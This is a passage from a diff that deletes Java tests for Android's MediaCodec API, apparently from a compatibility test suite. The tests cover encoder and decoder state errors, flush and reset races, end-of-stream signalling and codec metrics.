-                fail("getOutputBuffers called in detached buffer mode should throw exception");
-            } catch (MediaCodec.IncompatibleWithBlockModelException e) { // expected
-            }
-            try {
-                codec.getInputBuffer(index);
-                fail("getInputBuffer called in detached buffer mode should throw exception");
-            } catch (MediaCodec.IncompatibleWithBlockModelException e) { // expected
-            }
-            try {
-                codec.dequeueInputBuffer(0);
-                fail("dequeueInputBuffer called in detached buffer mode should throw exception");
-            } catch (MediaCodec.IncompatibleWithBlockModelException e) { // expected
-            }
-            MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-            try {
-                codec.dequeueOutputBuffer(info, 0);
-                fail("dequeueOutputBuffer called in detached buffer mode should throw exception");
-            } catch (MediaCodec.IncompatibleWithBlockModelException e) { // expected
-            }
-
-            // test getQueueRequest
-            MediaCodec.QueueRequest request = codec.getQueueRequest(index);
-            try {
-                request.queue();
-                fail("QueueRequest should throw IllegalStateException when no buffer is set");
-            } catch (IllegalStateException e) { // expected
-            }
-            // setting a block
-            String[] names = new String[]{ codec.getName() };
-            request.setLinearBlock(MediaCodec.LinearBlock.obtain(1, names), 0, 0);
-            // setting additional block should fail
-            try (HardwareBuffer buffer = HardwareBuffer.create(
-                    16 /* width */,
-                    16 /* height */,
-                    HardwareBuffer.YCBCR_420_888,
-                    1 /* layers */,
-                    HardwareBuffer.USAGE_CPU_READ_OFTEN | HardwareBuffer.USAGE_CPU_WRITE_OFTEN)) {
-                request.setHardwareBuffer(buffer);
-                fail("QueueRequest should throw IllegalStateException multiple blocks are set.");
-            } catch (IllegalStateException e) { // expected
-            }
-        }
-
-        // release codec
-        codec.release();
-
-        return true;
-    }
-
-    /**
-     * Tests:
-     * <br> calling createInputSurface() before configure() throws exception
-     * <br> calling createInputSurface() after start() throws exception
-     * <br> calling createInputSurface() with a non-Surface color format is not required to throw exception
-     */
-    public void testCreateInputSurfaceErrors() {
-        if (!supportsCodec(MIME_TYPE, true)) {
-            Log.i(TAG, "No encoder found for mimeType= " + MIME_TYPE);
-            return;
-        }
-
-        MediaFormat format = createMediaFormat();
-        MediaCodec encoder = null;
-        Surface surface = null;
-
-        // Replace color format with something that isn't COLOR_FormatSurface.
-        MediaCodecInfo codecInfo = selectCodec(MIME_TYPE);
-        int colorFormat = findNonSurfaceColorFormat(codecInfo, MIME_TYPE);
-        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, colorFormat);
-
-        try {
-            try {
-                encoder = MediaCodec.createByCodecName(codecInfo.getName());
-            } catch (IOException e) {
-                fail("failed to create codec " + codecInfo.getName());
-            }
-            try {
-                surface = encoder.createInputSurface();
-                fail("createInputSurface should not work pre-configure");
-            } catch (IllegalStateException ise) {
-                // good
-            }
-            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            encoder.start();
-            try {
-                surface = encoder.createInputSurface();
-                fail("createInputSurface should not work post-start");
-            } catch (IllegalStateException ise) {
-                // good
-            }
-        } finally {
-            if (encoder != null) {
-                encoder.stop();
-                encoder.release();
-            }
-        }
-        assertNull(surface);
-    }
-
-    /**
-     * Tests:
-     * <br> signaling end-of-stream before any data is sent works
-     * <br> signaling EOS twice throws exception
-     * <br> submitting a frame after EOS throws exception [TODO]
-     */
-    public void testSignalSurfaceEOS() {
-        if (!supportsCodec(MIME_TYPE, true)) {
-            Log.i(TAG, "No encoder found for mimeType= " + MIME_TYPE);
-            return;
-        }
-
-        MediaFormat format = createMediaFormat();
-        MediaCodec encoder = null;
-        InputSurface inputSurface = null;
-
-        try {
-            try {
-                encoder = MediaCodec.createEncoderByType(MIME_TYPE);
-            } catch (IOException e) {
-                fail("failed to create " + MIME_TYPE + " encoder");
-            }
-            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            inputSurface = new InputSurface(encoder.createInputSurface());
-            inputSurface.makeCurrent();
-            encoder.start();
-
-            // send an immediate EOS
-            encoder.signalEndOfInputStream();
-
-            try {
-                encoder.signalEndOfInputStream();
-                fail("should not be able to signal EOS twice");
-            } catch (IllegalStateException ise) {
-                // good
-            }
-
-            // submit a frame post-EOS
-            GLES20.glClearColor(0.0f, 0.5f, 0.0f, 1.0f);
-            GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-            try {
-                inputSurface.swapBuffers();
-                if (false) {    // TODO
-                    fail("should not be able to submit frame after EOS");
-                }
-            } catch (Exception ex) {
-                // good
-            }
-        } finally {
-            if (encoder != null) {
-                encoder.stop();
-                encoder.release();
-            }
-            if (inputSurface != null) {
-                inputSurface.release();
-            }
-        }
-    }
-
-    /**
-     * Tests:
-     * <br> stopping with buffers in flight doesn't crash or hang
-     */
-    public void testAbruptStop() {
-        if (!supportsCodec(MIME_TYPE, true)) {
-            Log.i(TAG, "No encoder found for mimeType= " + MIME_TYPE);
-            return;
-        }
-
-        // There appears to be a race, so run it several times with a short delay between runs
-        // to allow any previous activity to shut down.
-        for (int i = 0; i < 50; i++) {
-            Log.d(TAG, "testAbruptStop " + i);
-            doTestAbruptStop();
-            try { Thread.sleep(400); } catch (InterruptedException ignored) {}
-        }
-    }
-    private void doTestAbruptStop() {
-        MediaFormat format = createMediaFormat();
-        MediaCodec encoder = null;
-        InputSurface inputSurface = null;
-
-        try {
-            try {
-                encoder = MediaCodec.createEncoderByType(MIME_TYPE);
-            } catch (IOException e) {
-                fail("failed to create " + MIME_TYPE + " encoder");
-            }
-            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            inputSurface = new InputSurface(encoder.createInputSurface());
-            inputSurface.makeCurrent();
-            encoder.start();
-
-            int totalBuffers = encoder.getOutputBuffers().length;
-            if (VERBOSE) Log.d(TAG, "Total buffers: " + totalBuffers);
-
-            // Submit several frames quickly, without draining the encoder output, to try to
-            // ensure that we've got some queued up when we call stop().  If we do too many
-            // we'll block in swapBuffers().
-            for (int i = 0; i < totalBuffers; i++) {
-                GLES20.glClearColor(0.0f, (i % 8) / 8.0f, 0.0f, 1.0f);
-                GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-                inputSurface.swapBuffers();
-            }
-            Log.d(TAG, "stopping");
-            encoder.stop();
-            Log.d(TAG, "stopped");
-        } finally {
-            if (encoder != null) {
-                encoder.stop();
-                encoder.release();
-            }
-            if (inputSurface != null) {
-                inputSurface.release();
-            }
-        }
-    }
-
-    public void testReleaseAfterFlush() throws IOException, InterruptedException {
-        String mimes[] = new String[] { MIME_TYPE, MIME_TYPE_AUDIO};
-        for (String mime : mimes) {
-            if (!MediaUtils.checkEncoder(mime)) {
-                continue;
-            }
-            testReleaseAfterFlush(mime);
-        }
-    }
-
-    private void testReleaseAfterFlush(String mime) throws IOException, InterruptedException {
-        CountDownLatch buffersExhausted = null;
-        CountDownLatch codecFlushed = null;
-        AtomicInteger numBuffers = null;
-
-        // sync flush from same thread
-        MediaCodec encoder = MediaCodec.createEncoderByType(mime);
-        runReleaseAfterFlush(mime, encoder, buffersExhausted, codecFlushed, numBuffers);
-
-        // sync flush from different thread
-        encoder = MediaCodec.createEncoderByType(mime);
-        buffersExhausted = new CountDownLatch(1);
-        codecFlushed = new CountDownLatch(1);
-        numBuffers = new AtomicInteger();
-        Thread flushThread = new FlushThread(encoder, buffersExhausted, codecFlushed);
-        flushThread.start();
-        runReleaseAfterFlush(mime, encoder, buffersExhausted, codecFlushed, numBuffers);
-        flushThread.join();
-
-        // async
-        // This value is calculated in getOutputBufferIndices by calling dequeueOutputBuffer
-        // with a fixed timeout until buffers are exhausted; it is possible that random timing
-        // in dequeueOutputBuffer can result in a smaller `nBuffs` than the max possible value.
-        int nBuffs = numBuffers.get();
-        HandlerThread callbackThread = new HandlerThread("ReleaseAfterFlushCallbackThread");
-        callbackThread.start();
-        Handler handler = new Handler(callbackThread.getLooper());
-
-        // async flush from same thread
-        encoder = MediaCodec.createEncoderByType(mime);
-        buffersExhausted = null;
-        codecFlushed = null;
-        ReleaseAfterFlushCallback callback =
-                new ReleaseAfterFlushCallback(mime, encoder, buffersExhausted, codecFlushed, nBuffs);
-        encoder.setCallback(callback, handler); // setCallback before configure, which is called in run
-        callback.run(); // drive input on main thread
-
-        // async flush from different thread
-        encoder = MediaCodec.createEncoderByType(mime);
-        buffersExhausted = new CountDownLatch(1);
-        codecFlushed = new CountDownLatch(1);
-        callback = new ReleaseAfterFlushCallback(mime, encoder, buffersExhausted, codecFlushed, nBuffs);
-        encoder.setCallback(callback, handler);
-        flushThread = new FlushThread(encoder, buffersExhausted, codecFlushed);
-        flushThread.start();
-        callback.run();
-        flushThread.join();
-
-        callbackThread.quitSafely();
-        callbackThread.join();
-    }
-
-    public void testAsyncFlushAndReset() throws Exception, InterruptedException {
-        testAsyncReset(false /* testStop */);
-    }
-
-    public void testAsyncStopAndReset() throws Exception, InterruptedException {
-        testAsyncReset(true /* testStop */);
-    }
-
-    private void testAsyncReset(boolean testStop) throws Exception, InterruptedException {
-        // Test video and audio 10x each
-        for (int i = 0; i < 10; i++) {
-            testAsyncReset(false /* audio */, (i % 2) == 0 /* swap */, testStop);
-        }
-        for (int i = 0; i < 10; i++) {
-            testAsyncReset(true /* audio */, (i % 2) == 0 /* swap */, testStop);
-        }
-    }
-
-    /*
-     * This method simulates a race between flush (or stop) and reset() called from
-     * two threads. Neither call should get stuck. This should be run multiple rounds.
-     */
-    private void testAsyncReset(boolean audio, boolean swap, final boolean testStop)
-            throws Exception, InterruptedException {
-        String mimeTypePrefix  = audio ? "audio/" : "video/";
-        final MediaExtractor mediaExtractor = getMediaExtractorForMimeType(
-                INPUT_RESOURCE, mimeTypePrefix);
-        MediaFormat mediaFormat = mediaExtractor.getTrackFormat(
-                mediaExtractor.getSampleTrackIndex());
-        if (!MediaUtils.checkDecoderForFormat(mediaFormat)) {
-            return; // skip
-        }
-
-        OutputSurface outputSurface = audio ? null : new OutputSurface(1, 1);
-        final Surface surface = outputSurface == null ? null : outputSurface.getSurface();
-
-        String mimeType = mediaFormat.getString(MediaFormat.KEY_MIME);
-        final MediaCodec mediaCodec = MediaCodec.createDecoderByType(mimeType);
-
-        try {
-            mediaCodec.configure(mediaFormat, surface, null /* crypto */, 0 /* flags */);
-
-            mediaCodec.start();
-
-            assertTrue(runDecodeTillFirstOutput(mediaCodec, mediaExtractor));
-
-            Thread flushingThread = new Thread(new Runnable() {
-                @Override
-                public void run() {
-                    try {
-                        if (testStop) {
-                            mediaCodec.stop();
-                        } else {
-                            mediaCodec.flush();
-                        }
-                    } catch (IllegalStateException e) {
-                        // This is okay, since we're simulating a race between flush and reset.
-                        // If reset executed first, flush could fail.
-                    }
-                }
-            });
-
-            Thread resettingThread = new Thread(new Runnable() {
-                @Override
-                public void run() {
-                    mediaCodec.reset();
-                }
-            });
-
-            // start flushing (or stopping) and resetting in two threads
-            if (swap) {
-                flushingThread.start();
-                resettingThread.start();
-            } else {
-                resettingThread.start();
-                flushingThread.start();
-            }
-
-            // wait for at most 5 sec, and check if the thread exits properly
-            flushingThread.join(5000);
-            assertFalse(flushingThread.isAlive());
-
-            resettingThread.join(5000);
-            assertFalse(resettingThread.isAlive());
-        } finally {
-            if (mediaCodec != null) {
-                mediaCodec.release();
-            }
-            if (mediaExtractor != null) {
-                mediaExtractor.release();
-            }
-            if (outputSurface != null) {
-                outputSurface.release();
-            }
-        }
-    }
-
-    private static class FlushThread extends Thread {
-        final MediaCodec mEncoder;
-        final CountDownLatch mBuffersExhausted;
-        final CountDownLatch mCodecFlushed;
-
-        FlushThread(MediaCodec encoder, CountDownLatch buffersExhausted,
-                CountDownLatch codecFlushed) {
-            mEncoder = encoder;
-            mBuffersExhausted = buffersExhausted;
-            mCodecFlushed = codecFlushed;
-        }
-
-        @Override
-        public void run() {
-            try {
-                mBuffersExhausted.await();
-            } catch (InterruptedException e) {
-                Thread.currentThread().interrupt();
-                Log.w(TAG, "buffersExhausted wait interrupted; flushing immediately.", e);
-            }
-            mEncoder.flush();
-            mCodecFlushed.countDown();
-        }
-    }
-
-    private static class ReleaseAfterFlushCallback extends MediaCodec.Callback implements Runnable {
-        final String mMime;
-        final MediaCodec mEncoder;
-        final CountDownLatch mBuffersExhausted, mCodecFlushed;
-        final int mNumBuffersBeforeFlush;
-
-        CountDownLatch mStopInput = new CountDownLatch(1);
-        List<Integer> mInputBufferIndices = new ArrayList<>();
-        List<Integer> mOutputBufferIndices = new ArrayList<>();
-
-        ReleaseAfterFlushCallback(String mime,
-                MediaCodec encoder,
-                CountDownLatch buffersExhausted,
-                CountDownLatch codecFlushed,
-                int numBuffersBeforeFlush) {
-            mMime = mime;
-            mEncoder = encoder;
-            mBuffersExhausted = buffersExhausted;
-            mCodecFlushed = codecFlushed;
-            mNumBuffersBeforeFlush = numBuffersBeforeFlush;
-        }
-
-        @Override
-        public void onInputBufferAvailable(MediaCodec codec, int index) {
-            assertTrue("video onInputBufferAvailable " + index, mMime.startsWith("audio/"));
-            synchronized (mInputBufferIndices) {
-                mInputBufferIndices.add(index);
-            };
-        }
-
-        @Override
-        public void onOutputBufferAvailable(MediaCodec codec, int index, BufferInfo info) {
-            mOutputBufferIndices.add(index);
-            if (mOutputBufferIndices.size() == mNumBuffersBeforeFlush) {
-                releaseAfterFlush(codec, mOutputBufferIndices, mBuffersExhausted, mCodecFlushed);
-                mStopInput.countDown();
-            }
-        }
-
-        @Override
-        public void onError(MediaCodec codec, CodecException e) {
-            Log.e(TAG, codec + " onError", e);
-            fail(codec + " onError " + e.getMessage());
-        }
-
-        @Override
-        public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
-            Log.v(TAG, codec + " onOutputFormatChanged " + format);
-        }
-
-        @Override
-        public void run() {
-            InputSurface inputSurface = null;
-            try {
-                inputSurface = initCodecAndSurface(mMime, mEncoder);
-                do {
-                    int inputIndex = -1;
-                    if (inputSurface == null) {
-                        // asynchronous audio codec
-                        synchronized (mInputBufferIndices) {
-                            if (mInputBufferIndices.isEmpty()) {
-                                continue;
-                            } else {
-                                inputIndex = mInputBufferIndices.remove(0);
-                            }
-                        }
-                    }
-                    feedEncoder(mEncoder, inputSurface, inputIndex);
-                } while (!mStopInput.await(TIMEOUT_USEC, TimeUnit.MICROSECONDS));
-            } catch (InterruptedException e) {
-                Thread.currentThread().interrupt();
-                Log.w(TAG, "mEncoder input frames interrupted/stopped", e);
-            } finally {
-                cleanupCodecAndSurface(mEncoder, inputSurface);
-            }
-        }
-    }
-
-    private static void runReleaseAfterFlush(
-            String mime,
-            MediaCodec encoder,
-            CountDownLatch buffersExhausted,
-            CountDownLatch codecFlushed,
-            AtomicInteger numBuffers) {
-        InputSurface inputSurface = null;
-        try {
-            inputSurface = initCodecAndSurface(mime, encoder);
-            List<Integer> outputBufferIndices = getOutputBufferIndices(encoder, inputSurface);
-            if (numBuffers != null) {
-                numBuffers.set(outputBufferIndices.size());
-            }
-            releaseAfterFlush(encoder, outputBufferIndices, buffersExhausted, codecFlushed);
-        } finally {
-            cleanupCodecAndSurface(encoder, inputSurface);
-        }
-    }
-
-    private static InputSurface initCodecAndSurface(String mime, MediaCodec encoder) {
-        MediaFormat format;
-        InputSurface inputSurface = null;
-        if (mime.startsWith("audio/")) {
-            format = MediaFormat.createAudioFormat(mime, AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_COUNT);
-            format.setInteger(MediaFormat.KEY_AAC_PROFILE, AUDIO_AAC_PROFILE);
-            format.setInteger(MediaFormat.KEY_BIT_RATE, AUDIO_BIT_RATE);
-            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-        } else if (MIME_TYPE.equals(mime)) {
-            CodecInfo info = getAvcSupportedFormatInfo();
-            format = MediaFormat.createVideoFormat(mime, info.mMaxW, info.mMaxH);
-            format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                    MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
-            format.setInteger(MediaFormat.KEY_BIT_RATE, info.mBitRate);
-            format.setInteger(MediaFormat.KEY_FRAME_RATE, info.mFps);
-            format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
-            OutputSurface outputSurface = new OutputSurface(1, 1);
-            encoder.configure(format, outputSurface.getSurface(), null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            inputSurface = new InputSurface(encoder.createInputSurface());
-            inputSurface.makeCurrent();
-        } else {
-            throw new IllegalArgumentException("unsupported mime type: " + mime);
-        }
-        encoder.start();
-        return inputSurface;
-    }
-
-    private static void cleanupCodecAndSurface(MediaCodec encoder, InputSurface inputSurface) {
-        if (encoder != null) {
-            encoder.stop();
-            encoder.release();
-        }
-
-        if (inputSurface != null) {
-            inputSurface.release();
-        }
-    }
-
-    private static List<Integer> getOutputBufferIndices(MediaCodec encoder, InputSurface inputSurface) {
-        boolean feedMoreFrames;
-        MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
-        List<Integer> indices = new ArrayList<>();
-        do {
-            feedMoreFrames = indices.isEmpty();
-            feedEncoder(encoder, inputSurface, -1);
-            // dequeue buffers until not available
-            int index = encoder.dequeueOutputBuffer(bufferInfo, TIMEOUT_USEC);
-            while (index >= 0) {
-                indices.add(index);
-                index = encoder.dequeueOutputBuffer(bufferInfo, TIMEOUT_USEC_SHORT);
-            }
-        } while (feedMoreFrames);
-        assertFalse(indices.isEmpty());
-        return indices;
-    }
-
-    /**
-     * @param encoder audio/video encoder
-     * @param inputSurface null for and only for audio encoders
-     * @param inputIndex only used for audio; if -1 the function would attempt to dequeue from encoder;
-     * do not use -1 for asynchronous encoders
-     */
-    private static void feedEncoder(MediaCodec encoder, InputSurface inputSurface, int inputIndex) {
-        if (inputSurface == null) {
-            // audio
-            while (inputIndex == -1) {
-                inputIndex = encoder.dequeueInputBuffer(TIMEOUT_USEC);
-            }
-            ByteBuffer inputBuffer = encoder.getInputBuffer(inputIndex);;
-            for (int i = 0; i < inputBuffer.capacity() / 2; i++) {
-                inputBuffer.putShort((short)i);
-            }
-            encoder.queueInputBuffer(inputIndex, 0, inputBuffer.limit(), 0, 0);
-        } else {
-            // video
-            GLES20.glClearColor(0.0f, 0.5f, 0.0f, 1.0f);
-            GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-            inputSurface.swapBuffers();
-        }
-    }
-
-    private static void releaseAfterFlush(
-            MediaCodec encoder,
-            List<Integer> outputBufferIndices,
-            CountDownLatch buffersExhausted,
-            CountDownLatch codecFlushed) {
-        if (buffersExhausted == null) {
-            // flush from same thread
-            encoder.flush();
-        } else {
-            assertNotNull(codecFlushed);
-            buffersExhausted.countDown();
-            try {
-                codecFlushed.await();
-            } catch (InterruptedException e) {
-                Thread.currentThread().interrupt();
-                Log.w(TAG, "codecFlushed wait interrupted; releasing buffers immediately.", e);
-            }
-        }
-
-        for (int index : outputBufferIndices) {
-            try {
-                encoder.releaseOutputBuffer(index, true);
-                fail("MediaCodec releaseOutputBuffer after flush() does not throw exception");
-            } catch (MediaCodec.CodecException e) {
-                // Expected
-            }
-        }
-    }
-
-    /**
-     * Tests:
-     * <br> dequeueInputBuffer() fails when encoder configured with an input Surface
-     */
-    public void testDequeueSurface() {
-        if (!supportsCodec(MIME_TYPE, true)) {
-            Log.i(TAG, "No encoder found for mimeType= " + MIME_TYPE);
-            return;
-        }
-
-        MediaFormat format = createMediaFormat();
-        MediaCodec encoder = null;
-        Surface surface = null;
-
-        try {
-            try {
-                encoder = MediaCodec.createEncoderByType(MIME_TYPE);
-            } catch (IOException e) {
-                fail("failed to create " + MIME_TYPE + " encoder");
-            }
-            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            surface = encoder.createInputSurface();
-            encoder.start();
-
-            try {
-                encoder.dequeueInputBuffer(-1);
-                fail("dequeueInputBuffer should fail on encoder with input surface");
-            } catch (IllegalStateException ise) {
-                // good
-            }
-
-            PersistableBundle metrics = encoder.getMetrics();
-            if (metrics == null) {
-                fail("getMetrics() returns null");
-            } else if (metrics.isEmpty()) {
-                fail("getMetrics() returns empty results");
-            }
-            int encoding = metrics.getInt(MediaCodec.MetricsConstants.ENCODER, -1);
-            if (encoding != 1) {
-                fail("getMetrics() returns bad encoder value " + encoding);
-            }
-            String theCodec = metrics.getString(MediaCodec.MetricsConstants.CODEC, null);
-            if (theCodec == null) {
-                fail("getMetrics() returns null codec value ");
-            }
-
-        } finally {
-            if (encoder != null) {
-                encoder.stop();
-                encoder.release();
-            }
-            if (surface != null) {
-                surface.release();
-            }
-        }
-    }
-
-    /**
-     * Tests:
-     * <br> configure() encoder with Surface, re-configure() without Surface works
-     * <br> sending EOS with signalEndOfInputStream on non-Surface encoder fails
-     */
-    public void testReconfigureWithoutSurface() {
-        if (!supportsCodec(MIME_TYPE, true)) {
-            Log.i(TAG, "No encoder found for mimeType= " + MIME_TYPE);
-            return;
-        }
-
-        MediaFormat format = createMediaFormat();
-        MediaCodec encoder = null;
-        Surface surface = null;
-
-        try {
-            try {
-                encoder = MediaCodec.createEncoderByType(MIME_TYPE);
-            } catch (IOException e) {
-                fail("failed to create " + MIME_TYPE + " encoder");
-            }
-            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            surface = encoder.createInputSurface();
-            encoder.start();
-
-            encoder.getOutputBuffers();
-
-            // re-configure, this time without an input surface
-            if (VERBOSE) Log.d(TAG, "reconfiguring");
-            encoder.stop();
-            // Use non-opaque color format for byte buffer mode.
-            format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                    MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
-            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            encoder.start();
-            if (VERBOSE) Log.d(TAG, "reconfigured");
-
-            encoder.getOutputBuffers();
-            encoder.dequeueInputBuffer(-1);
-
-            try {
-                encoder.signalEndOfInputStream();
-                fail("signalEndOfInputStream only works on surface input");
-            } catch (IllegalStateException ise) {
-                // good
-            }
-
-            PersistableBundle metrics = encoder.getMetrics();
-            if (metrics == null) {
-                fail("getMetrics() returns null");
-            } else if (metrics.isEmpty()) {
-                fail("getMetrics() returns empty results");
-            }
-            int encoding = metrics.getInt(MediaCodec.MetricsConstants.ENCODER, -1);
-            if (encoding != 1) {
-                fail("getMetrics() returns bad encoder value " + encoding);
-            }
-            String theCodec = metrics.getString(MediaCodec.MetricsConstants.CODEC, null);
-            if (theCodec == null) {
-                fail("getMetrics() returns null codec value ");
-            }
-
-        } finally {
-            if (encoder != null) {
-                encoder.stop();
-                encoder.release();
-            }
-            if (surface != null) {
-                surface.release();
-            }
-        }
-    }
-
-    public void testDecodeAfterFlush() throws InterruptedException {
-        testDecodeAfterFlush(true /* audio */);
-        testDecodeAfterFlush(false /* audio */);
-    }
-
-    private void testDecodeAfterFlush(final boolean audio) throws InterruptedException {
-        final AtomicBoolean completed = new AtomicBoolean(false);
-        Thread decodingThread = new Thread(new Runnable() {
-            @Override
-            public void run() {
-                OutputSurface outputSurface = null;
-                MediaExtractor mediaExtractor = null;
-                MediaCodec mediaCodec = null;
-                try {
-                    String mimeTypePrefix  = audio ? "audio/" : "video/";
-                    if (!audio) {
-                        outputSurface = new OutputSurface(1, 1);
-                    }
-                    mediaExtractor = getMediaExtractorForMimeType(INPUT_RESOURCE, mimeTypePrefix);
-                    MediaFormat mediaFormat =
-                            mediaExtractor.getTrackFormat(mediaExtractor.getSampleTrackIndex());
-                    if (!MediaUtils.checkDecoderForFormat(mediaFormat)) {
-                        completed.set(true);
-                        return; // skip
-                    }
-                    String mimeType = mediaFormat.getString(MediaFormat.KEY_MIME);
-                    mediaCodec = MediaCodec.createDecoderByType(mimeType);
-                    mediaCodec.configure(mediaFormat, outputSurface == null ? null : outputSurface.getSurface(),
-                            null /* crypto */, 0 /* flags */);
-                    mediaCodec.start();
-
-                    if (!runDecodeTillFirstOutput(mediaCodec, mediaExtractor)) {
-                        throw new RuntimeException("decoder does not generate non-empty output.");
-                    }
-
-                    PersistableBundle metrics = mediaCodec.getMetrics();
-                    if (metrics == null) {
-                        fail("getMetrics() returns null");
-                    } else if (metrics.isEmpty()) {
-                        fail("getMetrics() returns empty results");
-                    }
-                    int encoder = metrics.getInt(MediaCodec.MetricsConstants.ENCODER, -1);
-                    if (encoder != 0) {
-                        fail("getMetrics() returns bad encoder value " + encoder);
-                    }
-                    String theCodec = metrics.getString(MediaCodec.MetricsConstants.CODEC, null);
-                    if (theCodec == null) {
-                        fail("getMetrics() returns null codec value ");
-                    }
-
-
-                    // simulate application flush.
-                    mediaExtractor.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
-                    mediaCodec.flush();
-
-                    completed.set(runDecodeTillFirstOutput(mediaCodec, mediaExtractor));
-                    metrics = mediaCodec.getMetrics();
-                    if (metrics == null) {
-                        fail("getMetrics() returns null");
-                    } else if (metrics.isEmpty()) {
-                        fail("getMetrics() returns empty results");
-                    }
-                    int encoding = metrics.getInt(MediaCodec.MetricsConstants.ENCODER, -1);
-                    if (encoding != 0) {
-                        fail("getMetrics() returns bad encoder value " + encoding);
-                    }
-                    String theCodec2 = metrics.getString(MediaCodec.MetricsConstants.CODEC, null);
-                    if (theCodec2 == null) {
-                        fail("getMetrics() returns null codec value ");
-                    }
-
-                } catch (IOException e) {
-                    throw new RuntimeException("error setting up decoding", e);
-                } finally {
-                    if (mediaCodec != null) {
-                        mediaCodec.stop();
-
-                        PersistableBundle metrics = mediaCodec.getMetrics();
-                        if (metrics == null) {
-                            fail("getMetrics() returns null");
-                        } else if (metrics.isEmpty()) {
-                            fail("getMetrics() returns empty results");
-                        }
-                        int encoder = metrics.getInt(MediaCodec.MetricsConstants.ENCODER, -1);
-                        if (encoder != 0) {
-                            fail("getMetrics() returns bad encoder value " + encoder);
-                        }
-                        String theCodec = metrics.getString(MediaCodec.MetricsConstants.CODEC, null);
-                        if (theCodec == null) {
-                            fail("getMetrics() returns null codec value ");
-                        }
-
-                        mediaCodec.release();
-                    }
-                    if (mediaExtractor != null) {
-                        mediaExtractor.release();
-                    }
-                    if (outputSurface != null) {
-                        outputSurface.release();
-                    }
-                }
-            }
-        });
-        decodingThread.start();
-        decodingThread.join(DECODING_TIMEOUT_MS);
-        // In case it's timed out, need to stop the thread and have all resources released.
-        decodingThread.interrupt();
-        if (!completed.get()) {
-            throw new RuntimeException("timed out decoding to end-of-stream");
-        }
-    }
-
-    // Run the decoder till it generates an output buffer.
-    // Return true when that output buffer is not empty, false otherwise.
-    private static boolean runDecodeTillFirstOutput(
-            MediaCodec mediaCodec, MediaExtractor mediaExtractor) {
-        final int TIME_OUT_US = 10000;
-
-        assertTrue("Wrong test stream which has no data.",
-                mediaExtractor.getSampleTrackIndex() != -1);
-        boolean signaledEos = false;
-        MediaCodec.BufferInfo outputBufferInfo = new MediaCodec.BufferInfo();
-        while (!Thread.interrupted()) {
-            // Try to feed more data into the codec.
-            if (!signaledEos) {
-                int bufferIndex = mediaCodec.dequeueInputBuffer(TIME_OUT_US /* timeoutUs */);
-                if (bufferIndex != -1) {
-                    ByteBuffer buffer = mediaCodec.getInputBuffer(bufferIndex);
-                    int size = mediaExtractor.readSampleData(buffer, 0 /* offset */);
-                    long timestampUs = mediaExtractor.getSampleTime();
-                    mediaExtractor.advance();
-                    signaledEos = mediaExtractor.getSampleTrackIndex() == -1;
-                    mediaCodec.queueInputBuffer(bufferIndex,
-                            0 /* offset */,
-                            size,
-                            timestampUs,
-                            signaledEos ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
-                    Log.i("DEBUG", "queue with " + signaledEos);
-                }
-            }
-
-            int outputBufferIndex = mediaCodec.dequeueOutputBuffer(
-                    outputBufferInfo, TIME_OUT_US /* timeoutUs */);
-
-            if (outputBufferIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED
-                    || outputBufferIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED
-                    || outputBufferIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                continue;
-            }
-            assertTrue("Wrong output buffer index", outputBufferIndex >= 0);
-
-            PersistableBundle metrics = mediaCodec.getMetrics();
-            Log.d(TAG, "getMetrics after first buffer metrics says: " + metrics);
-
-            int encoder = metrics.getInt(MediaCodec.MetricsConstants.ENCODER, -1);
-            if (encoder != 0) {
-                fail("getMetrics() returns bad encoder value " + encoder);
-            }
-            String theCodec = metrics.getString(MediaCodec.MetricsConstants.CODEC, null);
-            if (theCodec == null) {
-                fail("getMetrics() returns null codec value ");
-            }
-
-            mediaCodec.releaseOutputBuffer(outputBufferIndex, false /* render */);
-            boolean eos = (outputBufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
-            Log.i("DEBUG", "Got a frame with eos=" + eos);
-            if (eos && outputBufferInfo.size == 0) {
-                return false;
-            } else {
-                return true;
-            }
-        }
-
-        return false;
-    }
-
-    /**
-     * Tests whether decoding a short group-of-pictures succeeds. The test queues a few video frames
-     * then signals end-of-stream. The test fails if the decoder doesn't output the queued frames.
-     */
-    public void testDecodeShortInput() throws InterruptedException {
-        // Input buffers from this input video are queued up to and including the video frame with
-        // timestamp LAST_BUFFER_TIMESTAMP_US.
-        final String INPUT_RESOURCE =
-                "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz.mp4";
-        final long LAST_BUFFER_TIMESTAMP_US = 166666;
-
-        // The test should fail if the decoder never produces output frames for the truncated input.
-        // Time out decoding, as we have no way to query whether the decoder will produce output.
-        final int DECODING_TIMEOUT_MS = 2000;
-
-        final AtomicBoolean completed = new AtomicBoolean();
-        Thread videoDecodingThread = new Thread(new Runnable() {
-            @Override
-            public void run() {
